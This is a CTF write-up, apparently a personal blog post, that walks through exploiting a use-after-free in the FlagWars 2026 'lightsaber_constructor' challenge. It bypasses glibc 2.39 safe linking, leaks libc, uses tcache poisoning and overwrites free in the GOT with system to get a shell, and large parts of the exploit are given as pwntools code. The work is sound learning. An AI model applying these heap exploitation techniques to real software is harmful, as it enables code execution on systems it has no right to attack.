FlagWars 2026 - Lightsaber Constructor
Last weekend, I attended Flagwars 2026, an in-person CTF event organized by Laokoon, IBM, and CGI. It had been almost two years since I last played a Jeopardy CTF, so it was great to play again. It was even better because it was an in-person event, and I went with three friends.
During CTFs, I usually take notes on my methodology and try to write an exploit script (at least for pwning). However, this time I wanted to write a complete blog post about one of the pwning challenges to solidify my knowledge, because I had to do a lot of research and ask some of our favorite AI friends for help to capture this flag.
Since I've had great success with this method of knowledge retention in uni, I decided to use the same approach (or rather Feynman's) to really understand what was going on in the exploit.
tl;dr: Use-After-Free -> Tcache Poisoning -> GOT Overwrite
Reconnaissance
This was the second pwning challenge in this CTF, called lightsaber_constructor, which was affected by a Use-After-Free vulnerability.
We're given lightsaber_constructor, libc.so.6, and ld-linux-x86-64.so.2, where the last two give us information about the libc version the binary runs on, which is glibc 2.39:
We can find out the linker's version via:
./ld-linux-x86-64.so.2 --version ld.so (Ubuntu GLIBC 2.39-0ubuntu8.7) stable release version 2.39. # [...]
The lightsaber_constructor binary is a menu-driven ELF64, themed as a lightsaber workshop. A Jedi can construct, destroy, inspect, modify, and ignite lightsabers. Under the hood, each saber is a heap-allocated object of 0x8C (140) bytes.
saber = (int *)malloc(0x8c);
if (saber == (int *)0x0) {
puts("[-] Allocation failed.");
}
=> cf. Appendix for the complete function.
When checking out the binary's security settings two properties stand out:
> checksec lightsaber_constructor
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Namely:
No PIE, which allows us to operate on fixed base addressesPartial RELRO, which means the Global Offset Table (.got.plt) is writable
The application manages up to 16 lightsabers stored in a global inventory[] array with a saber_count. Each saber is a malloc(140) chunk laid out as:
Offset Field Size
0x00 name 128 bytes
0x80 crystal 4 bytes (uint32)
0x84 length 4 bytes (uint32)
0x88 status 4 bytes (0=dormant, 1=ignited)
The allocator rounds malloc(140) up to a 0xA0-byte chunk (140 + 16 bytes of
chunk header = 156, rounded to 160 = 0xA0 for WORD-alignment).
Spotting the Bug
The bug is in the destroy() function:
void destroy(void) {
// [...]
if ((uVar1 < saber_count) && (*(long *)(inventory + (ulong)uVar1 * 8) != 0)) {
free(*(void **)(inventory + (ulong)uVar1 * 8));
puts("[+] Destroyed.");
}
// [...]
}
The if body frees the chunk via free(), but the pointer is never nulled.
Now, looking at the uses of this pointer inside inspect() and modify():
// inspect
if ((idx < saber_count) && (*(long *)(inventory + (ulong)idx * 8) != 0))
printf("Name : %s\n", ptr); // reads from ptr
// modify
if ((idx < saber_count) && (*(long *)(inventory + (ulong)idx * 8) != 0))
read_line(ptr, 0x80); // writes 128 bytes to ptr (which it reads from stdin)
// see Appendix for `read_line`
Both check if inventory[idx] is non-zero, which will always be the case because destroy() does not edit the freed memory. This means that our remaining menu options inspect() and modify() can still access and write to these addresses.
This is a Use-after-Free (UaF) vulnerability and gives us two distinct primitives:
- Use after Free Read via
inspect(idx) - Use after Free Write via
modify(idx)
The UaF Read via inspect(idx) happens because the function calls printf("%s", inventory[idx]) on the freed chunk. Since printf with %s prints bytes until it hits a null terminator, it leaks whatever the allocator has written.
The UaF Write via modify(idx) calls read_line(inventory[idx], 0x80), which writes up to 128 bytes of data into the freed chunk.
This lets us overwrite the thread local cache (tcache)'s forward pointer (fd) with an arbitrary value, corrupting the free list maintained by the tcache.
These two primitives allow us to write arbitrary data into arbitrary addresses in our binary. This brings us to the design of our exploit.
Exploitation Strategy
The Use-after-Free primitives allow us to read/write to different regions of memory. Because we need to redirect control flow but lack direct write access to the GOT, we chain together four steps:
- Fill up the tcache and use our primitives to leak heap metadata
- Use the heap allocator's logic to leak a libc address, in order to calculate the libc base address
- Use Tcache Poisoning to overwrite the GOT in our binary
- Call our modified function to gain a shell
Excursion: What is the tcache? What is tcache poisoning?
Thread Local Cache (tcache) is a per-thread cache introduced to speed up allocation and deallocation of small to medium-sized chunks.
It keeps a singly-linked list of bins of freed chunks for a set of sizes. fd is the forward pointer inside this list.
When a thread frees a chunk that fits a tcache and the corresponding bin isn't full, the chunk is pushed onto that bin’s stack. This avoids messing with the global malloc state, increasing concurrency (by being thread-safe) and therefore speed.
On allocation, malloc first checks the tcache bin for the requested size class; if a chunk is available it pops and returns it immediately, avoiding locks and expensive system calls.
Tcache poisoning is a technique where we corrupt the fd pointer of a freed tcache chunk to trick the allocator into returning a chunk at an arbitrary address. It works as follows:
- Normal state, tcache has freed chunks
head -> chunk_A -> chunk_B -> NULL
- Write
&TARGETat chunk_A'sfdpointer (via UaF-write, heap-overflow, ...)
head -> chunk_A -> TARGET -> ???
- The next
malloc()returns chunk_A
head -> TARGET -> ???
- The next
malloc()returns our written target:
x = malloc() // this returns our TARGET address
write(x, "payload") // writes payload at &TARGET
Additional Hurdles
Before we can execute this strategy, there are two obstacles to address.
First, we can't directly overwrite the GOT via tcache poisoning because the construct function uses memset() to zero out 140 bytes from our address. If we directly pass the GOT address to construct(), we zero out a lot of the GOT, leading to a crash before our payload can be copied to the GOT.
We circumvent that by using the inventory[] array with construct(). We then point it towards our GOT with our UaF primitives and change the memory via modify() without having to unleash memset() onto the GOT directly.
The second hurdle is Safe Linking, which is a security feature implemented since glibc 2.32. This causes the fd pointer in the tcache to be obfuscated, making it more difficult to overwrite it with an arbitrary value.
Here is the code snippet from malloc.c:
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
posis the address of the current chunkptrthe location of the chunk we are pointing toNULLif the chunk is at the end of the list
We can overcome that by inspecting the chunk at the end of the list. Because the ptr of that chunk is NULL, the XOR collapses to the key itself.
The fd in tcache's last chunk:
(chunk0_addr >> 12) ^ NULL = chunk0_addr >> 12
We can use inspect() to leak this key as it calls printf("%s", ptr). Because the tcache uses the same key for the same bin, we can reuse this key later on.
Putting it all together
Now, we should have everything our strategy requires to exploit this vulnerability, so let's put it together.
Heap Feng Shui
First off, we need to allocate some memory on the heap.
for i in range(9):
construct(f"saber-{i}".encode())
To make scripting easier, I've written helper functions, which perform the correct menu operation inside the binary, to minimize code duplication.
This gives us 9 contiguous 0xA0-byte chunks on the heap. Saber 8 is a guard chunk that prevents the allocator from merging freed chunks with the top chunk.
Now, our heap looks like this:
Leak Heap key
Because the binary uses glibc 2.39-0ubuntu8.7, we have to deal with the Safe Linking. Therefore, our first action is to free() a chunk (via destroy()) such that it moves into our tcache. When we instruct our program to read from the freed address (by supplying the same index), it returns the stored fd, which holds our heap key!
Its fd:
stored_fd = (chunk0_addr >> 12) ^ NULL = chunk0_addr >> 12
Code Snippet:
# free chunk 0 -> tcache (count=1)
destroy(0)
# UaF read tcache->fd
name, _, _, _ = inspect_saber(0)
heap_key = u64(name.ljust(8, b"\x00"))
Note, that we use our name from inspect() because it's the first property and fd is at the beginning of the metadata as well.
That's the first piece of our puzzle done, now, let's move onto libc.
Libc leak
In order to overwrite our GOT with the addresses we need, we have to make out the libc addresses we need. And to do that, we need to calculate the libc base address.
To do that, we free additional chunks such that our tcache fills up completely. The tcache holds up to seven memory regions per thread per allocation size. Because we allocated the same sizes before, when we free 6 additional regions, the cache bin for size 0xA0 is full:
for i in range(1, 7):
destroy(i)
The tcache bins looks like this now:
head -> chunk6 -> chunk5 -> chunk4 -> ... -> chunk0 -> NULL
Now, when we free an additional chunk of that size, it moves into the so-called unsorted bin, which is a double linked list that acts as a cache for memory, similar to the tcache. There are other types of bins (e.g. fast bin) but for brevity's sake we don't dive further onto why it lands into the unsorted bin.
Because the unsorted bin was empty before, chunk 7 is the only entry inside this bin. This sets its list pointers fd and bk (keep in mind that unsorted bin is a double-linked list) to the same address, namely an address inside of main_arena inside libc.
You don't need to know what a memory/main arena is for this exploit, just understand that it's a fixed address inside of libc
Because the unsorted bin is not safe linked, this is the correct address already. We can read it with our UaF-read primitive from before:
destroy(7) # tcache full => chunk 7 goes to unsorted bin
name, _, _, _ = inspect_saber(7) # UaF-read for `main_arena` address
leak = u64(name.ljust(8, b"\x00"))
Running this locally once, we get the offset from the libc base-address and use that to calculate the libc base address of the remote process:
UNSORTED_BIN_OFFSET = 0x203b20 # calculated offset from local run
libc.address = leak - UNSORTED_BIN_OFFSET
See Appendix on how this value was derived. An alternative is to inspect the binary run through a debugger.
Now, this allows us to calculate the address of every function in libc: system, puts, read, and the "/bin/sh" string embedded in libc.
Tcache poisoning to hijack inventory
We now have a heap encryption key and the addresses of libc functions. How does that help us? We use the primitives we built to manipulate the data.
Keep in mind that the tcache for size 0xA0 currently still looks like this:
head -> chunk6 -> chunk5 -> chunk4 -> ... -> chunk0 -> NULL (count=7)
Chunk 6 is the current head and its safe-linked fd points to chunk 5.
Since the binary has no PIE, the inventory[] array sits at a fixed address (0x4040a0). We overwrite fd with the encrypted pointer to it:
xor_fd = inventory_addr ^ heap_key # 0x4040a0 ^ heap_key
modify(6, p64(xor_fd))
The XOR key is the same because chunk 6 is in the same tcache bucket as our previous chunk 0. After this write, the tcache thinks:
head -> chunk6 -> xor'ed(0x4040a0) -> ??? (count=7)
We can extract the address of
inventory[]viaobjdumpeasily because the binary is not stripped and PIE is disabled:$ objdump -D lightsaber_constructor | grep -i inventory 00000000004040a0 <inventory>:
Now we allocate memory (of size 0xA0) twice:
# malloc returns chunk6 address, address of `inventory` is now the tcache head
construct(b"drain", 0, 0)
# malloc returns inventory address
construct(inv_payload, crystal=2)
The first allocation only drains chunk 6 from our tcache, while the second allocation is the important one. malloc() returns 0x4040a0 (address of inventory[]) due to our tcache poisoning.
Utilizing the memset() function, the construct() function zeros 140 bytes, clearing inventory[0-16] (128 bytes) and 12 bytes beyond that, including saber_count. Note, that the GOT is still intact because we did not touch it yet.
Afterwards, construct() writes our inv_payload to our allocated address (i.e. inventory[]):
inv_payload = p64(elf.got["free"]) + p64(binsh)
This writes free@GOT (0x404000) into inventory[0] and the address of "/bin/sh" in libc into inventory[1].
Setting crystal to 2 writes 2 to offset inventory+0x80, which corresponds to saber_count. At the end of construct() it's incremented to 3.
Now, the state of inventory is:
inventory[0] = 0x404000 (free@GOT)
inventory[1] = 0x7f... (&"/bin/sh" in libc)
inventory[2-15] = 0x00
saber_count = 3
The program now believes it has three sabers. "Saber 0" points to free@GOT, and "saber 1" points to the "/bin/sh" string in libc. Both of these are in writable memory (.bss), so modify() and destroy() will operate on them.
GOT Overwrite: Redirecting free to system
Remember, we work with a partial RELRO binary, meaning that the .got.plt section is mapped into a writable page.
In a dynamically linked program, the Procedure Linkage Table (PLT) stubs are responsible for resolving the function addresses and store them inside of the
.got.pltsection. These stubs either jump to the right address, if it has been resolved before, or trigger the code in the linker to look up the address.
Since the GOT is writable, overwriting its entries redirects all future calls to that corresponding function. That means, writing system over free causes every free(ptr) call to become system(ptr).
We will exploit exactly this behavior in the following.
To do so, recall that modify(0, content) calls read_line(inventory[0], 0x80), which is read_line(free@GOT, 0x80). This writes up to 128 (= 0x80) bytes from content starting at free@GOT.
This allows us to overwrite the function pointer for free with the pointer to system via:
got_payload = p64(libc.sym.system)
got_payload += b"\n" # to stop read_line from reading our buffer
modify(0, got_payload)
However, this alone crashes our exploit with a segfault because we overwrite part of the next function's address inside of the GOT with a null-byte. Next time this function will be called, we will try to access memory we aren't allowed to read.
To fix that, we reconstruct our GOT in our payload. First, we need to get the order of the GOT, which we'll recover using the following snippet:
from pwn import *
e = ELF('./lightsaber_constructor')
got_entries = sorted([(v, k) for k, v in e.got.items()])
for addr, name in got_entries:
print(f' {hex(addr)}: {name}')
Which yields:
$ python3 libc_order.py
[...]
0x403fd8: __libc_start_main
0x403fe0: __gmon_start__
0x404000: free
0x404008: puts
0x404010: __stack_chk_fail
0x404018: printf
0x404020: memset
0x404028: read
0x404030: malloc
0x404038: setvbuf
0x404040: strtoul
0x404048: exit
0x404060: stdout
0x404070: stdin
0x404080: stderr
This makes it clear that if we only overwrite system the null terminator would land on puts@GOT, crashing on the next puts() which comes at the end of modify() via puts("[+] Modified.") (cf. Appendix).
This also tells us that the order of our functions should be:
got_payload = p64(libc.sym.system) # free (replaced w/ system)
got_payload += p64(libc.sym.puts)
got_payload += p64(libc.sym.__stack_chk_fail)
got_payload += p64(libc.sym.printf)
got_payload += p64(libc.sym.memset)
got_payload += p64(libc.sym.read)
got_payload += p64(libc.sym.malloc)
got_payload += p64(libc.sym.setvbuf)
got_payload += p64(libc.sym.strtoul)
got_payload += p64(libc.sym.exit)
got_payload += b"\n"
modify(0, got_payload)
- We don't preserve
std{in,out,err}because these are not function pointers.- We can null-terminate after
exitbecause stdout starts at0x404060, giving us (0x404060 - (0x404048 + 0x8) = 0x10bytes of padding)- Here, we could actually stop restoring the GOT after
puts, as no other function is called until the exploit completes. However, it's better to be thorough
This writes 80 bytes (10 entries) into the address of inventory[0], i.e. free@GOT.
That means the GOT now looks like:
0x404000 free -> system (overwritten!)
0x404008 puts -> puts (restored)
0x404010 __stack_chk_fail -> __stack_chk_fail (restored)
0x404018 printf -> printf (restored)
0x404020 memset -> memset (restored)
0x404028 read -> read (restored)
0x404030 malloc -> malloc (restored)
0x404038 setvbuf -> setvbuf (restored)
0x404040 strtoul -> strtoul (restored)
0x404048 exit -> exit (restored)
0x404050 (gap) -> \x00 (null terminator)
0x404060 stdout -> (untouched)
0x404070 stdin -> (untouched)
0x404080 stderr -> (untouched)
Trigger our payload
Everything should be prepared now and we have to trigger our payload. We do this by calling:
destroy(1)
This calls free(inventory[1]) and because inventory[1] points to libc's "/bin/sh" string, it tries to call free("/bin/sh").
Furthermore, because free@GOT now contains system we have the following flow:
destroy(1)
-> free(inventory[1])
-> free(0x7f...cb42f) // address of "/bin/sh" in libc
-> system(0x7f...cb42f) // GOT redirect
-> system("/bin/sh")
-> win
Exploit output
Running our complete exploit yields a shell:
> python3 exploit.py
[*] Allocating 9 sabers (indices 0-8)
[*] Free saber 0 → tcache (count=1), then inspect for heap leak
[+] heap key (chunk>>12): 0x31bb1
[*] Unsorted bin fd leak: 0x7bc8eee03b20
[+] libc base : 0x7bc8eec00000
[+] system : 0x7bc8eec58750
[+] /bin/sh : 0x7bc8eedcb42f
[*] Poisoning tcache fd -> inventory @ 0x4040a0
[+] inventory hijacked: [0]=free@GOT, [1]=&'/bin/sh'
[+] GOT overwritten: free -> system
[*] destroy(1) -> free(&'/bin/sh') -> system('/bin/sh')
[+] Shell triggered!
$ id
uid=1000(user) gid=1000(user) ...
Win!
Conclusion
To summarize, this exploit chains together four key techniques: a UaF vulnerability which gives us read and write primitives on freed heap chunks. Heap feng shui lets us control which bins chunks land in, tcache poisoning tricks malloc into returning an arbitrary address, and a GOT overwrite redirects free to system, turning free("/bin/sh") into a shell.
In the end writing this post taught me at least as much as solving the challenge did. During the CTF, a lot of the steps felt clumsy and did feel like brute-forcing the flag, but revisiting this without the time pressure forced me to understand why each component worked, not just that it worked. I ended up diving deeper into glibc internals, safe linking, and GOT mechanics than I ever would have from just capturing the flag.
If you want to chat about this challenge, or have comments you want to share, feel free to shoot me a message on your preferred channel :D
Appendix
This section contains everything that would otherwise clutter the post itself.
Lightsaber Functions
This section contains some of the important decompiled functions from the binary.
construct
void construct(void) {
int iVar1;
int *saber;
uint i;
i = saber_count;
if (saber_count < 0x10) {
saber = (int *)malloc(0x8c);
if (saber == (int *)0x0) {
puts("[-] Allocation failed.");
}
else {
memset(saber,0,0x8c);
printf("[*] Name: ");
read_line(saber,0x80);
printf("[*] Crystal [0=Red 1=Blue 2=Green 3=Purple 4=Yellow]: ");
iVar1 = read_uint();
saber[0x20] = iVar1;
if (4 < (uint)saber[0x20]) {
saber[0x20] = 0;
}
printf("[*] Length (cm): ");
iVar1 = read_uint();
saber[0x21] = iVar1;
if (0x96 < (uint)saber[0x21]) {
saber[0x21] = 0x96;
}
saber[0x22] = 0;
*(int **)(inventory + (ulong)i * 8) = saber;
saber_count = saber_count + 1;
printf("[+] Lightsaber #%u constructed!\n",(ulong)i);
}
}
else {
puts("[-] Inventory full, young Padawan.");
}
return;
}
modify
void modify(void) {
uint idx;
printf("[*] Index: ");
idx = read_uint();
if ((idx < saber_count) && (*(long *)(inventory + (ulong)idx * 8) != 0)) {
printf("[*] New data: ");
read_line(*(undefined8 *)(inventory + (ulong)idx * 8),0x80);
puts("[+] Modified.");
}
else {
puts("[-] Invalid.");
}
return;
}
inspect
void inspect(void) {
long lVar1;
uint idx;
char *pcVar2;
printf("[*] Index: ");
idx = read_uint();
if ((idx < saber_count) && (*(long *)(inventory + (ulong)idx * 8) != 0)) {
lVar1 = *(long *)(inventory + (ulong)idx * 8);
printf("--- Lightsaber #%u ---\n",(ulong)idx);
printf("Name : %s\n",lVar1);
printf("Crystal : %u\n",(ulong)*(uint *)(lVar1 + 0x80));
printf("Length : %u cm\n",(ulong)*(uint *)(lVar1 + 0x84));
if (*(int *)(lVar1 + 0x88) == 0) {
pcVar2 = "dormant";
}
else {
pcVar2 = "IGNITED";
}
printf("Status : %s\n",pcVar2);
puts("---------------------");
}
else {
puts("[-] Invalid.");
}
return;
}
destroy
void destroy(void) {
uint idx;
printf("[*] Index: ");
idx = read_uint();
if ((idx < saber_count) && (*(long *)(inventory + (ulong)idx * 8) != 0)) {
free(*(void **)(inventory + (ulong)idx * 8));
puts("[+] Destroyed.");
}
else {
puts("[-] Invalid.");
}
return;
}
read_line
void read_line(void *param_1,long param_2) {
ssize_t sVar1;
sVar1 = read(0,param_1,param_2 - 1);
if (sVar1 < 1) {
FUN_00401160(1);
}
else if (*(char *)((long)param_1 + sVar1 + -1) == '\n') {
*(undefined *)((long)param_1 + sVar1 + -1) = 0;
return;
}
*(undefined *)((long)param_1 + sVar1) = 0;
return;
}
Offset Calculation
The following script calculates the offset from an address inside main_arena to the libc base address.
def calculate_offset():
log.info("Calculating unsorted bin offset via /proc/pid/maps ...")
# [...]
# First: Allocate 9 sabers
# Then: Free sabers 0-6 to fill the tcache
# [...]
destroy(7) # tcache full -> chunk 7 goes to unsorted bin
name, _, _, _ = inspect_saber(7) # UaF-read for `main_arena` address
leak = u64(name.ljust(8, b"\x00"))
# Read actual libc base from /proc/pid/maps
with open(f"/proc/{cal.pid}/maps") as f:
for line in f:
if "libc.so.6" in line and "r--p" in line:
actual_base = int(line.split("-")[0], 16)
break
else:
cal.close()
raise RuntimeError("Could not find libc in /proc/pid/maps")
offset = leak - actual_base
assert offset > 0 and actual_base & 0xfff == 0
log.success(f"unsorted bin offset = {hex(offset)} "
f"(leak={hex(leak)}, base={hex(actual_base)})")
return offset